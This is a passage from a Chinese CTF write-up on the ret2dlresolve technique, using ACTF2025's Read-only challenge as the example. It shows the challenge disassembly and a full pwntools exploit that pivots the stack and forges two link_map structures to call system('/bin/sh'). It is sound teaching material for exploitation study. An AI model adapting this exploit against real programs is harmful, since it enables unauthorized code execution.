2.3.2 利用 我们需要伪造我们自己的link_map,并将这些指针中的关键的部分指向我们link_map内部或者上述的GOT表项以减少payload大小,毕竟再一次地,可控区域一般情况下有限,payload越短越好。那么此时我们可以简单化地将各类节和条目之前的偏移设置为0 (如offset,r_info中的index,一是方便计算,二是可以紧凑得压缩payload长度。
至此我们可以得出以下的构造方式(方式不唯一,知道原理即可得出自己的构造方式):
[
下面以ACTF2025的Read——only来举例
1 2 3 4 5 6 7 8 9 10 11 12 text:0000000000401136 endbr64 .text:000000000040113A push rbp .text:000000000040113B mov rbp, rsp .text:000000000040113E add rsp, 0FFFFFFFFFFFFFF80h .text:0000000000401142 lea rax, [rbp+buf] .text:0000000000401146 mov edx, 800h ; nbytes .text:000000000040114B mov rsi, rax ; buf .text:000000000040114E mov edi, 0 ; fd .text:0000000000401153 call _read .text:0000000000401158 mov eax, 0 .text:000000000040115D leave .text:000000000040115E retn
核心代码就这么多,题目的话是没有给到pop_rdi_ret这个gadget,那么同理我们可以把这个gadget当作一个函数解析,我们就需要伪造两个link_map,一个是pop_rdi_ret一个是system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 from pwn import * context.arch = "amd64" context.log_level = "debug" #context.terminal = ["tmux", "splitw", "-h"] def forge_linkmap(linkmap_addr, known_libc_RVA, call_libc_RVA, known_elf_got_VA, bss_base, custom_data=b"/bin/sh\x00"): """ - linkmap_addr: VA where fake link_map will be placed (e.g. bss + 0x100) - known_libc_RVA: RVA of a known libc symbol (e.g. libc.sym['read']) - call_libc_RVA: RVA of the libc symbol we want to compute VA for (e.g. system or arbitrary rdi_offset) - known_elf_got_VA: VA of a GOT entry to overlap with Elf64_Sym.st_value (e.g. elf.got['read']) - bss_base: the bss base used in exploit (used to compute r_offset same as working script) - custom_data: bytes to place into fake area (by default "/bin/sh\x00") Returns: (fake_link_map_bytes, addr_of_custom_data_if_placed_else_0) """ assert isinstance(custom_data, bytes) # compute l_addr = RVA(funcA) - RVA(funcB) l_addr = call_libc_RVA - known_libc_RVA r_offset = bss_base + (-l_addr) success(hex(-l_addr)) fake_link_map_addr = linkmap_addr fake_dyn_strtab_addr = fake_link_map_addr + 0x08 fake_dyn_symtab_addr = fake_link_map_addr + 0x18 fake_dyn_rel_addr = fake_link_map_addr + 0x28 head = flat([ l_addr, 0, 0xdeadbeef, 0, (known_elf_got_VA - 8), 0, (fake_link_map_addr + 0x38), r_offset, 7 ]) tail = flat([ fake_dyn_strtab_addr, fake_dyn_symtab_addr, custom_data.ljust(0x80, b"\x00"), fake_dyn_rel_addr ]) fake_link_map = head.ljust(0x68, b"\x00") + tail custom_data_addr = fake_link_map_addr + 0x68 + 0x10 return fake_link_map, custom_data_addr def main(): sh = process("./only_read") elf = ELF("./only_read") libc = ELF("./libc.so.6") leave_ret = 0x40115d read = 0x401142 _dl_runtime_resolve_addr = 0x401026 bss = elf.bss(0xA08) stage_offset = 0x80 payload1 = flat([ cyclic(0x80), bss + stage_offset, #注意这里输入是在bss上,但栈迁移实际上迁移到了bss + stage_offset的位置 read, ]) sh.send(payload1) rdi_offset = 0x10f75b fake_inkmap_addr1 = bss + 0x100 fake_inkmap1, custom_data_addr1 = forge_linkmap( linkmap_addr=fake_inkmap_addr1, known_libc_RVA=libc.sym['read'], call_libc_RVA=rdi_offset, known_elf_got_VA=elf.got['read'], bss_base=bss, custom_data=b"/bin/sh\x00" ) fake_inkmap_addr2 = bss + 0x200 fake_inkmap2, custom_data_addr2 = forge_linkmap( linkmap_addr=fake_inkmap_addr2, known_libc_RVA=libc.sym['read'], call_libc_RVA=libc.sym['system'], known_elf_got_VA=elf.got['read'], bss_base=bss, custom_data=b"/bin/sh\x00" ) payload2 = flat([ _dl_runtime_resolve_addr, fake_inkmap_addr1, 0, custom_data_addr1, _dl_runtime_resolve_addr, fake_inkmap_addr2, 0, ]) payload2 = payload2.ljust(0x80, b"\x00") payload2 += flat([bss - 8,leave_ret]) #校准rsp指向我们输入的bss payload2 = payload2.ljust(0x100, b"\x00") payload2 += fake_inkmap1 payload2 += fake_inkmap2 # gdb.attach(sh) sh.send(payload2) sh.interactive() if __name__ == "__main__": main()